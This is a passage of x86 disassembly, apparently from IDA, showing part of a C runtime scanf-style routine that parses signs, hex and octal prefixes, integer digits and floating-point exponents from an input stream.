		mov	eax, [ebp+var_20]
		sub	eax, 1
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+var_1D8]
		push	edx
		call	sub_42B330
		add	esp, 8

loc_42A4FE:				; CODE XREF: sub_429E90:loc_42A640j
		cmp	[ebp+var_1E8], 0
		jz	short loc_42A51B
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_1C]
		sub	ecx, 1
		mov	[ebp+var_1C], ecx
		test	eax, eax
		jz	loc_42A645

loc_42A51B:				; CODE XREF: sub_429E90+675j
		mov	edx, [ebp+var_20]
		add	edx, 1
		mov	[ebp+var_20], edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42B2D0
		add	esp, 4
		mov	[ebp+var_1D8], eax
		cmp	[ebp+var_1D8], 0FFFFFFFFh
		jz	loc_42A622
		mov	ecx, [ebp+var_1D8]
		sar	ecx, 3
		movsx	edx, [ebp+ecx+var_60]
		movsx	eax, [ebp+var_10]
		xor	edx, eax
		mov	ecx, [ebp+var_1D8]
		and	ecx, 7
		mov	eax, 1
		shl	eax, cl
		and	edx, eax
		test	edx, edx
		jz	loc_42A622
		movsx	ecx, [ebp+var_70]
		test	ecx, ecx
		jnz	loc_42A611
		movsx	edx, [ebp+var_64]
		test	edx, edx
		jz	short loc_42A5FB
		mov	al, byte ptr [ebp+var_1D8]
		mov	[ebp+var_1F0], al
		mov	ecx, [ebp+var_1D8]
		and	ecx, 0FFh
		mov	edx, off_453CA4
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 8000h
		test	eax, eax
		jz	short loc_42A5CD
		mov	ecx, [ebp+var_20]
		add	ecx, 1
		mov	[ebp+var_20], ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_42B2D0
		add	esp, 4
		mov	[ebp+var_1EF], al

loc_42A5CD:				; CODE XREF: sub_429E90+720j
		mov	eax, dword_453EB0
		push	eax
		lea	ecx, [ebp+var_1F0]
		push	ecx
		lea	edx, [ebp+var_4]
		push	edx
		call	sub_431BA0
		add	esp, 0Ch
		mov	eax, [ebp+var_3C]
		mov	cx, [ebp+var_4]
		mov	[eax], cx
		mov	edx, [ebp+var_3C]
		add	edx, 2
		mov	[ebp+var_3C], edx
		jmp	short loc_42A60F
; ---------------------------------------------------------------------------

loc_42A5FB:				; CODE XREF: sub_429E90+6F3j
		mov	eax, [ebp+var_3C]
		mov	cl, byte ptr [ebp+var_1D8]
		mov	[eax], cl
		mov	edx, [ebp+var_3C]
		add	edx, 1
		mov	[ebp+var_3C], edx

loc_42A60F:				; CODE XREF: sub_429E90+769j
		jmp	short loc_42A620
; ---------------------------------------------------------------------------

loc_42A611:				; CODE XREF: sub_429E90+6E7j
		mov	eax, [ebp+var_1E4]
		add	eax, 1
		mov	[ebp+var_1E4], eax

loc_42A620:				; CODE XREF: sub_429E90:loc_42A60Fj
		jmp	short loc_42A640
; ---------------------------------------------------------------------------

loc_42A622:				; CODE XREF: sub_429E90+6ADj
					; sub_429E90+6DBj
		mov	ecx, [ebp+var_20]
		sub	ecx, 1
		mov	[ebp+var_20], ecx
		mov	edx, [ebp+arg_0]
		push	edx
		mov	eax, [ebp+var_1D8]
		push	eax
		call	sub_42B330
		add	esp, 8
		jmp	short loc_42A645
; ---------------------------------------------------------------------------

loc_42A640:				; CODE XREF: sub_429E90:loc_42A620j
		jmp	loc_42A4FE
; ---------------------------------------------------------------------------

loc_42A645:				; CODE XREF: sub_429E90+685j
					; sub_429E90+7AEj
		mov	ecx, [ebp+var_1E4]
		cmp	ecx, [ebp+var_3C]
		jz	short loc_42A681
		movsx	edx, [ebp+var_70]
		test	edx, edx
		jnz	short loc_42A67F
		mov	eax, [ebp+var_34]
		add	eax, 1
		mov	[ebp+var_34], eax
		cmp	[ebp+var_C], 63h
		jz	short loc_42A67F
		movsx	ecx, [ebp+var_64]
		test	ecx, ecx
		jz	short loc_42A679
		mov	edx, [ebp+var_3C]
		mov	word ptr [edx],	0
		jmp	short loc_42A67F
; ---------------------------------------------------------------------------

loc_42A679:				; CODE XREF: sub_429E90+7DDj
		mov	eax, [ebp+var_3C]
		mov	byte ptr [eax],	0

loc_42A67F:				; CODE XREF: sub_429E90+7C6j
					; sub_429E90+7D5j ...
		jmp	short loc_42A686
; ---------------------------------------------------------------------------

loc_42A681:				; CODE XREF: sub_429E90+7BEj
		jmp	loc_42B17A
; ---------------------------------------------------------------------------

loc_42A686:				; CODE XREF: sub_429E90:loc_42A67Fj
		jmp	loc_42B024
; ---------------------------------------------------------------------------

loc_42A68B:				; CODE XREF: sub_429E90+3C4j
					; DATA XREF: .packed:0042B232o
		mov	[ebp+var_C], 64h

loc_42A692:				; CODE XREF: sub_429E90+3C4j
					; DATA XREF: .packed:0042B242o
		cmp	[ebp+var_1D8], 2Dh
		jnz	short loc_42A6A6
		mov	cl, [ebp+var_68]
		add	cl, 1
		mov	[ebp+var_68], cl
		jmp	short loc_42A6AF
; ---------------------------------------------------------------------------

loc_42A6A6:				; CODE XREF: sub_429E90+809j
		cmp	[ebp+var_1D8], 2Bh
		jnz	short loc_42A6EC

loc_42A6AF:				; CODE XREF: sub_429E90+814j
		mov	edx, [ebp+var_1C]
		sub	edx, 1
		mov	[ebp+var_1C], edx
		cmp	[ebp+var_1C], 0
		jnz	short loc_42A6D1
		cmp	[ebp+var_1E8], 0
		jz	short loc_42A6D1
		mov	al, [ebp+var_18]
		add	al, 1
		mov	[ebp+var_18], al
		jmp	short loc_42A6EC
; ---------------------------------------------------------------------------

loc_42A6D1:				; CODE XREF: sub_429E90+82Cj
					; sub_429E90+835j
		mov	ecx, [ebp+var_20]
		add	ecx, 1
		mov	[ebp+var_20], ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_42B2D0
		add	esp, 4
		mov	[ebp+var_1D8], eax

loc_42A6EC:				; CODE XREF: sub_429E90+81Dj
					; sub_429E90+83Fj
		cmp	[ebp+var_1D8], 30h
		jnz	loc_42A78E
		mov	eax, [ebp+var_20]
		add	eax, 1
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42B2D0
		add	esp, 4
		mov	[ebp+var_1D8], eax
		movsx	edx, byte ptr [ebp+var_1D8]
		cmp	edx, 78h
		jz	short loc_42A72C
		movsx	eax, byte ptr [ebp+var_1D8]
		cmp	eax, 58h
		jnz	short loc_42A750

loc_42A72C:				; CODE XREF: sub_429E90+88Ej
		mov	ecx, [ebp+var_20]
		add	ecx, 1
		mov	[ebp+var_20], ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_42B2D0
		add	esp, 4
		mov	[ebp+var_1D8], eax
		mov	[ebp+var_C], 78h
		jmp	short loc_42A78E
; ---------------------------------------------------------------------------

loc_42A750:				; CODE XREF: sub_429E90+89Aj
		mov	eax, [ebp+var_6C]
		add	eax, 1
		mov	[ebp+var_6C], eax
		cmp	[ebp+var_C], 78h
		jz	short loc_42A768
		mov	[ebp+var_C], 6Fh
		jmp	short loc_42A78E
; ---------------------------------------------------------------------------

loc_42A768:				; CODE XREF: sub_429E90+8CDj
		mov	ecx, [ebp+var_20]
		sub	ecx, 1
		mov	[ebp+var_20], ecx
		mov	edx, [ebp+arg_0]
		push	edx
		mov	eax, [ebp+var_1D8]
		push	eax
		call	sub_42B330
		add	esp, 8
		mov	[ebp+var_1D8], 30h

loc_42A78E:				; CODE XREF: sub_429E90+863j
					; sub_429E90+8BEj ...
		jmp	short loc_42A7EE
; ---------------------------------------------------------------------------

loc_42A790:				; CODE XREF: sub_429E90+3C4j
					; DATA XREF: .packed:0042B23Ao
		mov	[ebp+var_38], 1

loc_42A794:				; CODE XREF: sub_429E90+3C4j
					; DATA XREF: .packed:0042B22Ao
		cmp	[ebp+var_1D8], 2Dh
		jnz	short loc_42A7A8
		mov	cl, [ebp+var_68]
		add	cl, 1
		mov	[ebp+var_68], cl
		jmp	short loc_42A7B1
; ---------------------------------------------------------------------------

loc_42A7A8:				; CODE XREF: sub_429E90+90Bj
		cmp	[ebp+var_1D8], 2Bh
		jnz	short loc_42A7EE

loc_42A7B1:				; CODE XREF: sub_429E90+916j
		mov	edx, [ebp+var_1C]
		sub	edx, 1
		mov	[ebp+var_1C], edx
		cmp	[ebp+var_1C], 0
		jnz	short loc_42A7D3
		cmp	[ebp+var_1E8], 0
		jz	short loc_42A7D3
		mov	al, [ebp+var_18]
		add	al, 1
		mov	[ebp+var_18], al
		jmp	short loc_42A7EE
; ---------------------------------------------------------------------------

loc_42A7D3:				; CODE XREF: sub_429E90+92Ej
					; sub_429E90+937j
		mov	ecx, [ebp+var_20]
		add	ecx, 1
		mov	[ebp+var_20], ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_42B2D0
		add	esp, 4
		mov	[ebp+var_1D8], eax

loc_42A7EE:				; CODE XREF: sub_429E90:loc_42A78Ej
					; sub_429E90+91Fj ...
		cmp	[ebp+var_1DC], 0
		jz	loc_42A9E9

loc_42A7FB:				; CODE XREF: sub_429E90:loc_42A9C4j
		movsx	eax, [ebp+var_18]
		test	eax, eax
		jnz	loc_42A9C9
		cmp	[ebp+var_C], 78h
		jnz	loc_42A896
		cmp	dword_453EB0, 1
		jle	short loc_42A836
		push	80h
		mov	ecx, [ebp+var_1D8]
		push	ecx
		call	sub_427040
		add	esp, 8
		mov	[ebp+var_208], eax
		jmp	short loc_42A853
; ---------------------------------------------------------------------------

loc_42A836:				; CODE XREF: sub_429E90+988j
		mov	edx, [ebp+var_1D8]
		mov	eax, off_453CA4
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 80h
		mov	[ebp+var_208], ecx

loc_42A853:				; CODE XREF: sub_429E90+9A4j
		cmp	[ebp+var_208], 0
		jz	short loc_42A889
		mov	ecx, 4
		mov	eax, [ebp+var_30]
		mov	edx, [ebp+var_2C]
		call	sub_431D80
		mov	[ebp+var_30], eax
		mov	[ebp+var_2C], edx
		mov	edx, [ebp+var_1D8]
		push	edx
		call	sub_42B270
		add	esp, 4
		mov	[ebp+var_1D8], eax
		jmp	short loc_42A891
; ---------------------------------------------------------------------------

loc_42A889:				; CODE XREF: sub_429E90+9CAj
		mov	al, [ebp+var_18]
		add	al, 1
		mov	[ebp+var_18], al

loc_42A891:				; CODE XREF: sub_429E90+9F7j
		jmp	loc_42A93D
; ---------------------------------------------------------------------------

loc_42A896:				; CODE XREF: sub_429E90+97Bj
		cmp	dword_453EB0, 1
		jle	short loc_42A8B8
		push	4
		mov	ecx, [ebp+var_1D8]
		push	ecx
		call	sub_427040
		add	esp, 8
		mov	[ebp+var_20C], eax
		jmp	short loc_42A8D2
; ---------------------------------------------------------------------------

loc_42A8B8:				; CODE XREF: sub_429E90+A0Dj
		mov	edx, [ebp+var_1D8]
		mov	eax, off_453CA4
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 4
		mov	[ebp+var_20C], ecx

loc_42A8D2:				; CODE XREF: sub_429E90+A26j
		cmp	[ebp+var_20C], 0
		jz	short loc_42A935
		cmp	[ebp+var_C], 6Fh
		jnz	short loc_42A90D
		cmp	[ebp+var_1D8], 38h
		jge	short loc_42A902
		mov	ecx, 3
		mov	eax, [ebp+var_30]
		mov	edx, [ebp+var_2C]
		call	sub_431D80
		mov	[ebp+var_30], eax
		mov	[ebp+var_2C], edx
		jmp	short loc_42A90B
; ---------------------------------------------------------------------------

loc_42A902:				; CODE XREF: sub_429E90+A58j
		mov	dl, [ebp+var_18]
		add	dl, 1
		mov	[ebp+var_18], dl

loc_42A90B:				; CODE XREF: sub_429E90+A70j
		jmp	short loc_42A933
; ---------------------------------------------------------------------------

loc_42A90D:				; CODE XREF: sub_429E90+A4Fj
		mov	ecx, 2
		mov	eax, [ebp+var_30]
		mov	edx, [ebp+var_2C]
		call	sub_431D80
		add	eax, [ebp+var_30]
		adc	edx, [ebp+var_2C]
		mov	ecx, 1
		call	sub_431D80
		mov	[ebp+var_30], eax
		mov	[ebp+var_2C], edx

loc_42A933:				; CODE XREF: sub_429E90:loc_42A90Bj
		jmp	short loc_42A93D
; ---------------------------------------------------------------------------

loc_42A935:				; CODE XREF: sub_429E90+A49j
		mov	al, [ebp+var_18]
		add	al, 1
		mov	[ebp+var_18], al

loc_42A93D:				; CODE XREF: sub_429E90:loc_42A891j
					; sub_429E90:loc_42A933j
		movsx	ecx, [ebp+var_18]
		test	ecx, ecx
		jnz	short loc_42A9A8
		mov	edx, [ebp+var_6C]
		add	edx, 1
		mov	[ebp+var_6C], edx
		mov	eax, [ebp+var_1D8]
		sub	eax, 30h
		cdq
		mov	ecx, [ebp+var_30]
		add	ecx, eax
		mov	eax, [ebp+var_2C]
		adc	eax, edx
		mov	[ebp+var_30], ecx
		mov	[ebp+var_2C], eax
		cmp	[ebp+var_1E8], 0
		jz	short loc_42A98B
		mov	ecx, [ebp+var_1C]
		sub	ecx, 1
		mov	[ebp+var_1C], ecx
		cmp	[ebp+var_1C], 0
		jnz	short loc_42A98B
		mov	dl, [ebp+var_18]
		add	dl, 1
		mov	[ebp+var_18], dl
		jmp	short loc_42A9A6
; ---------------------------------------------------------------------------

loc_42A98B:				; CODE XREF: sub_429E90+ADFj
					; sub_429E90+AEEj
		mov	eax, [ebp+var_20]
		add	eax, 1
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42B2D0
		add	esp, 4
		mov	[ebp+var_1D8], eax

loc_42A9A6:				; CODE XREF: sub_429E90+AF9j
		jmp	short loc_42A9C4
; ---------------------------------------------------------------------------

loc_42A9A8:				; CODE XREF: sub_429E90+AB3j
		mov	edx, [ebp+var_20]
		sub	edx, 1
		mov	[ebp+var_20], edx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_1D8]
		push	ecx
		call	sub_42B330
		add	esp, 8

loc_42A9C4:				; CODE XREF: sub_429E90:loc_42A9A6j
		jmp	loc_42A7FB
; ---------------------------------------------------------------------------

loc_42A9C9:				; CODE XREF: sub_429E90+971j
		movsx	edx, [ebp+var_68]
		test	edx, edx
		jz	short loc_42A9E4
		mov	eax, [ebp+var_30]
		neg	eax
		mov	ecx, [ebp+var_2C]
		adc	ecx, 0
		neg	ecx
		mov	[ebp+var_30], eax
		mov	[ebp+var_2C], ecx

loc_42A9E4:				; CODE XREF: sub_429E90+B3Fj
		jmp	loc_42AB8D
; ---------------------------------------------------------------------------

loc_42A9E9:				; CODE XREF: sub_429E90+965j
					; sub_429E90:loc_42AB78j
		movsx	edx, [ebp+var_18]
		test	edx, edx
		jnz	loc_42AB7D
		cmp	[ebp+var_C], 78h
		jz	short loc_42AA01
		cmp	[ebp+var_C], 70h
		jnz	short loc_42AA79

loc_42AA01:				; CODE XREF: sub_429E90+B69j
		cmp	dword_453EB0, 1
		jle	short loc_42AA26
		push	80h
		mov	eax, [ebp+var_1D8]
		push	eax
		call	sub_427040
		add	esp, 8
		mov	[ebp+var_210], eax
		jmp	short loc_42AA43
; ---------------------------------------------------------------------------

loc_42AA26:				; CODE XREF: sub_429E90+B78j
		mov	ecx, [ebp+var_1D8]
		mov	edx, off_453CA4
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 80h
		mov	[ebp+var_210], eax

loc_42AA43:				; CODE XREF: sub_429E90+B94j
		cmp	[ebp+var_210], 0
		jz	short loc_42AA6C
		mov	ecx, [ebp+var_40]
		shl	ecx, 4
		mov	[ebp+var_40], ecx
		mov	edx, [ebp+var_1D8]
		push	edx
		call	sub_42B270
		add	esp, 4
		mov	[ebp+var_1D8], eax
		jmp	short loc_42AA74
; ---------------------------------------------------------------------------

loc_42AA6C:				; CODE XREF: sub_429E90+BBAj
		mov	al, [ebp+var_18]
		add	al, 1
		mov	[ebp+var_18], al

loc_42AA74:				; CODE XREF: sub_429E90+BDAj
		jmp	loc_42AAFB
; ---------------------------------------------------------------------------

loc_42AA79:				; CODE XREF: sub_429E90+B6Fj
		cmp	dword_453EB0, 1
		jle	short loc_42AA9B
		push	4
		mov	ecx, [ebp+var_1D8]
		push	ecx
		call	sub_427040
		add	esp, 8
		mov	[ebp+var_214], eax
		jmp	short loc_42AAB5
; ---------------------------------------------------------------------------

loc_42AA9B:				; CODE XREF: sub_429E90+BF0j
		mov	edx, [ebp+var_1D8]
		mov	eax, off_453CA4
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 4
		mov	[ebp+var_214], ecx

loc_42AAB5:				; CODE XREF: sub_429E90+C09j
		cmp	[ebp+var_214], 0
		jz	short loc_42AAF2
		cmp	[ebp+var_C], 6Fh
		jnz	short loc_42AAE2
		cmp	[ebp+var_1D8], 38h
		jge	short loc_42AAD8
		mov	edx, [ebp+var_40]
		shl	edx, 3
		mov	[ebp+var_40], edx
		jmp	short loc_42AAE0
; ---------------------------------------------------------------------------

loc_42AAD8:				; CODE XREF: sub_429E90+C3Bj
		mov	al, [ebp+var_18]
		add	al, 1
		mov	[ebp+var_18], al

loc_42AAE0:				; CODE XREF: sub_429E90+C46j
		jmp	short loc_42AAF0
; ---------------------------------------------------------------------------

loc_42AAE2:				; CODE XREF: sub_429E90+C32j
		mov	ecx, [ebp+var_40]
		mov	edx, [ebp+var_40]
		lea	eax, [edx+ecx*4]
		shl	eax, 1
		mov	[ebp+var_40], eax

loc_42AAF0:				; CODE XREF: sub_429E90:loc_42AAE0j
		jmp	short loc_42AAFB
; ---------------------------------------------------------------------------

loc_42AAF2:				; CODE XREF: sub_429E90+C2Cj
		mov	cl, [ebp+var_18]
		add	cl, 1
		mov	[ebp+var_18], cl

loc_42AAFB:				; CODE XREF: sub_429E90:loc_42AA74j
					; sub_429E90:loc_42AAF0j
		movsx	edx, [ebp+var_18]
		test	edx, edx
		jnz	short loc_42AB5C
		mov	eax, [ebp+var_6C]
		add	eax, 1
		mov	[ebp+var_6C], eax
		mov	ecx, [ebp+var_1D8]
		mov	edx, [ebp+var_40]
		lea	eax, [edx+ecx-30h]
		mov	[ebp+var_40], eax
		cmp	[ebp+var_1E8], 0
		jz	short loc_42AB3F
		mov	ecx, [ebp+var_1C]
		sub	ecx, 1
		mov	[ebp+var_1C], ecx
		cmp	[ebp+var_1C], 0
		jnz	short loc_42AB3F
		mov	dl, [ebp+var_18]
		add	dl, 1
		mov	[ebp+var_18], dl
		jmp	short loc_42AB5A
; ---------------------------------------------------------------------------

loc_42AB3F:				; CODE XREF: sub_429E90+C93j
					; sub_429E90+CA2j
		mov	eax, [ebp+var_20]
		add	eax, 1
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42B2D0
		add	esp, 4
		mov	[ebp+var_1D8], eax

loc_42AB5A:				; CODE XREF: sub_429E90+CADj
		jmp	short loc_42AB78
; ---------------------------------------------------------------------------

loc_42AB5C:				; CODE XREF: sub_429E90+C71j
		mov	edx, [ebp+var_20]
		sub	edx, 1
		mov	[ebp+var_20], edx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_1D8]
		push	ecx
		call	sub_42B330
		add	esp, 8

loc_42AB78:				; CODE XREF: sub_429E90:loc_42AB5Aj
		jmp	loc_42A9E9
; ---------------------------------------------------------------------------

loc_42AB7D:				; CODE XREF: sub_429E90+B5Fj
		movsx	edx, [ebp+var_68]
		test	edx, edx
		jz	short loc_42AB8D
		mov	eax, [ebp+var_40]
		neg	eax
		mov	[ebp+var_40], eax

loc_42AB8D:				; CODE XREF: sub_429E90:loc_42A9E4j
					; sub_429E90+CF3j
		cmp	[ebp+var_C], 46h
		jnz	short loc_42AB9A
		mov	[ebp+var_6C], 0

loc_42AB9A:				; CODE XREF: sub_429E90+D01j
		cmp	[ebp+var_6C], 0
		jz	short loc_42ABE8
		movsx	ecx, [ebp+var_70]
		test	ecx, ecx
		jnz	short loc_42ABE6
		mov	edx, [ebp+var_34]
		add	edx, 1
		mov	[ebp+var_34], edx

loc_42ABB1:				; CODE XREF: sub_429E90+D70j
		cmp	[ebp+var_1DC], 0
		jz	short loc_42ABCA
		mov	eax, [ebp+var_3C]
		mov	ecx, [ebp+var_30]
		mov	[eax], ecx
		mov	edx, [ebp+var_2C]
		mov	[eax+4], edx
		jmp	short loc_42ABE6
; ---------------------------------------------------------------------------

loc_42ABCA:				; CODE XREF: sub_429E90+D28j
		movsx	eax, [ebp+var_38]
		test	eax, eax
		jz	short loc_42ABDC
		mov	ecx, [ebp+var_3C]
		mov	edx, [ebp+var_40]
		mov	[ecx], edx
		jmp	short loc_42ABE6
; ---------------------------------------------------------------------------

loc_42ABDC:				; CODE XREF: sub_429E90+D40j
		mov	eax, [ebp+var_3C]
		mov	cx, word ptr [ebp+var_40]
		mov	[eax], cx

loc_42ABE6:				; CODE XREF: sub_429E90+D16j
					; sub_429E90+D38j ...
		jmp	short loc_42ABED
; ---------------------------------------------------------------------------

loc_42ABE8:				; CODE XREF: sub_429E90+D0Ej
		jmp	loc_42B17A
; ---------------------------------------------------------------------------

loc_42ABED:				; CODE XREF: sub_429E90:loc_42ABE6j
		jmp	loc_42B024
; ---------------------------------------------------------------------------

loc_42ABF2:				; CODE XREF: sub_429E90+3C4j
					; DATA XREF: .packed:0042B236o
		mov	edx, [ebp+var_20]
		mov	[ebp+var_40], edx
		movsx	eax, [ebp+var_70]
		test	eax, eax
		jnz	short loc_42AC02
		jmp	short loc_42ABB1
; ---------------------------------------------------------------------------

loc_42AC02:				; CODE XREF: sub_429E90+D6Ej
		jmp	loc_42B024
; ---------------------------------------------------------------------------

loc_42AC07:				; CODE XREF: sub_429E90+3C4j
					; DATA XREF: .packed:0042B22Eo
		lea	ecx, [ebp+var_1D0]
		mov	[ebp+var_1E0], ecx
		cmp	[ebp+var_1D8], 2Dh
		jnz	short loc_42AC36
		mov	edx, [ebp+var_1E0]
		mov	byte ptr [edx],	2Dh
		mov	eax, [ebp+var_1E0]
		add	eax, 1
		mov	[ebp+var_1E0], eax
		jmp	short loc_42AC3F
; ---------------------------------------------------------------------------

loc_42AC36:				; CODE XREF: sub_429E90+D8Aj
		cmp	[ebp+var_1D8], 2Bh
		jnz	short loc_42AC63

loc_42AC3F:				; CODE XREF: sub_429E90+DA4j
		mov	ecx, [ebp+var_1C]
		sub	ecx, 1
		mov	[ebp+var_1C], ecx
		mov	edx, [ebp+var_20]
		add	edx, 1
		mov	[ebp+var_20], edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42B2D0
		add	esp, 4
		mov	[ebp+var_1D8], eax

loc_42AC63:				; CODE XREF: sub_429E90+DADj
		cmp	[ebp+var_1E8], 0
		jz	short loc_42AC75
		cmp	[ebp+var_1C], 15Dh
		jle	short loc_42AC7C

loc_42AC75:				; CODE XREF: sub_429E90+DDAj
		mov	[ebp+var_1C], 15Dh

loc_42AC7C:				; CODE XREF: sub_429E90+DE3j
					; sub_429E90+E82j
		cmp	dword_453EB0, 1
		jle	short loc_42AC9E
		push	4
		mov	ecx, [ebp+var_1D8]
		push	ecx
		call	sub_427040
		add	esp, 8
		mov	[ebp+var_218], eax
		jmp	short loc_42ACB8
; ---------------------------------------------------------------------------

loc_42AC9E:				; CODE XREF: sub_429E90+DF3j
		mov	edx, [ebp+var_1D8]
		mov	eax, off_453CA4
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 4
		mov	[ebp+var_218], ecx

loc_42ACB8:				; CODE XREF: sub_429E90+E0Cj
		cmp	[ebp+var_218], 0
		jz	short loc_42AD17
		mov	edx, [ebp+var_1C]
		mov	eax, [ebp+var_1C]
		sub	eax, 1
		mov	[ebp+var_1C], eax
		test	edx, edx
		jz	short loc_42AD17
		mov	ecx, [ebp+var_6C]
		add	ecx, 1
		mov	[ebp+var_6C], ecx
		mov	edx, [ebp+var_1E0]
		mov	al, byte ptr [ebp+var_1D8]
		mov	[edx], al
		mov	ecx, [ebp+var_1E0]
		add	ecx, 1
		mov	[ebp+var_1E0], ecx
		mov	edx, [ebp+var_20]
		add	edx, 1
		mov	[ebp+var_20], edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42B2D0
		add	esp, 4
		mov	[ebp+var_1D8], eax
		jmp	loc_42AC7C
; ---------------------------------------------------------------------------

loc_42AD17:				; CODE XREF: sub_429E90+E2Fj
					; sub_429E90+E3Fj
		movsx	ecx, byte_453EB4
		movsx	edx, byte ptr [ebp+var_1D8]
		cmp	ecx, edx
		jnz	loc_42AE14
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_1C]
		sub	ecx, 1
		mov	[ebp+var_1C], ecx
		test	eax, eax
		jz	loc_42AE14
		mov	edx, [ebp+var_20]
		add	edx, 1
		mov	[ebp+var_20], edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42B2D0
		add	esp, 4
		mov	[ebp+var_1D8], eax
		mov	ecx, [ebp+var_1E0]
		mov	dl, byte_453EB4
		mov	[ecx], dl
		mov	eax, [ebp+var_1E0]
		add	eax, 1
		mov	[ebp+var_1E0], eax

loc_42AD79:				; CODE XREF: sub_429E90+F7Fj
		cmp	dword_453EB0, 1
		jle	short loc_42AD9B
		push	4
		mov	ecx, [ebp+var_1D8]
		push	ecx
		call	sub_427040
		add	esp, 8
		mov	[ebp+var_21C], eax
		jmp	short loc_42ADB5
; ---------------------------------------------------------------------------

loc_42AD9B:				; CODE XREF: sub_429E90+EF0j
		mov	edx, [ebp+var_1D8]
		mov	eax, off_453CA4
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 4
		mov	[ebp+var_21C], ecx

loc_42ADB5:				; CODE XREF: sub_429E90+F09j
		cmp	[ebp+var_21C], 0
		jz	short loc_42AE14
		mov	edx, [ebp+var_1C]
		mov	eax, [ebp+var_1C]
		sub	eax, 1
		mov	[ebp+var_1C], eax
		test	edx, edx
		jz	short loc_42AE14
		mov	ecx, [ebp+var_6C]
		add	ecx, 1
		mov	[ebp+var_6C], ecx
		mov	edx, [ebp+var_1E0]
		mov	al, byte ptr [ebp+var_1D8]
		mov	[edx], al
		mov	ecx, [ebp+var_1E0]
		add	ecx, 1
		mov	[ebp+var_1E0], ecx
		mov	edx, [ebp+var_20]
		add	edx, 1
		mov	[ebp+var_20], edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42B2D0
		add	esp, 4
		mov	[ebp+var_1D8], eax
		jmp	loc_42AD79
; ---------------------------------------------------------------------------

loc_42AE14:				; CODE XREF: sub_429E90+E97j
					; sub_429E90+EABj ...
		cmp	[ebp+var_6C], 0
		jz	loc_42AF79
		cmp	[ebp+var_1D8], 65h
		jz	short loc_42AE34
		cmp	[ebp+var_1D8], 45h
		jnz	loc_42AF79

loc_42AE34:				; CODE XREF: sub_429E90+F95j
		mov	ecx, [ebp+var_1C]
		mov	edx, [ebp+var_1C]
		sub	edx, 1
		mov	[ebp+var_1C], edx
		test	ecx, ecx
		jz	loc_42AF79
		mov	eax, [ebp+var_1E0]
		mov	byte ptr [eax],	65h
		mov	ecx, [ebp+var_1E0]
		add	ecx, 1
		mov	[ebp+var_1E0], ecx
		mov	edx, [ebp+var_20]
		add	edx, 1
		mov	[ebp+var_20], edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42B2D0
		add	esp, 4
		mov	[ebp+var_1D8], eax
		cmp	[ebp+var_1D8], 2Dh
		jnz	short loc_42AE9E
		mov	ecx, [ebp+var_1E0]
		mov	byte ptr [ecx],	2Dh
		mov	edx, [ebp+var_1E0]
		add	edx, 1
		mov	[ebp+var_1E0], edx
		jmp	short loc_42AEA7
; ---------------------------------------------------------------------------

loc_42AE9E:				; CODE XREF: sub_429E90+FF2j
		cmp	[ebp+var_1D8], 2Bh
		jnz	short loc_42AEDD

loc_42AEA7:				; CODE XREF: sub_429E90+100Cj
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_1C]
		sub	ecx, 1
		mov	[ebp+var_1C], ecx
		test	eax, eax
		jnz	short loc_42AEC2
		mov	edx, [ebp+var_1C]
		add	edx, 1
		mov	[ebp+var_1C], edx
		jmp	short loc_42AEDD
; ---------------------------------------------------------------------------

loc_42AEC2:				; CODE XREF: sub_429E90+1025j
		mov	eax, [ebp+var_20]
		add	eax, 1
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42B2D0
		add	esp, 4
		mov	[ebp+var_1D8], eax

loc_42AEDD:				; CODE XREF: sub_429E90+1015j
					; sub_429E90+1030j ...
		cmp	dword_453EB0, 1
		jle	short loc_42AEFF
		push	4
		mov	edx, [ebp+var_1D8]
		push	edx
		call	sub_427040
		add	esp, 8
		mov	[ebp+var_220], eax
		jmp	short loc_42AF1A
; ---------------------------------------------------------------------------

loc_42AEFF:				; CODE XREF: sub_429E90+1054j
		mov	eax, [ebp+var_1D8]
		mov	ecx, off_453CA4
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 4
		mov	[ebp+var_220], edx

loc_42AF1A:				; CODE XREF: sub_429E90+106Dj
		cmp	[ebp+var_220], 0
		jz	short loc_42AF79
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_1C]
		sub	ecx, 1
		mov	[ebp+var_1C], ecx
		test	eax, eax
		jz	short loc_42AF79
		mov	edx, [ebp+var_6C]
		add	edx, 1
		mov	[ebp+var_6C], edx
		mov	eax, [ebp+var_1E0]
		mov	cl, byte ptr [ebp+var_1D8]
		mov	[eax], cl
		mov	edx, [ebp+var_1E0]
		add	edx, 1
		mov	[ebp+var_1E0], edx
		mov	eax, [ebp+var_20]
		add	eax, 1
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42B2D0
		add	esp, 4
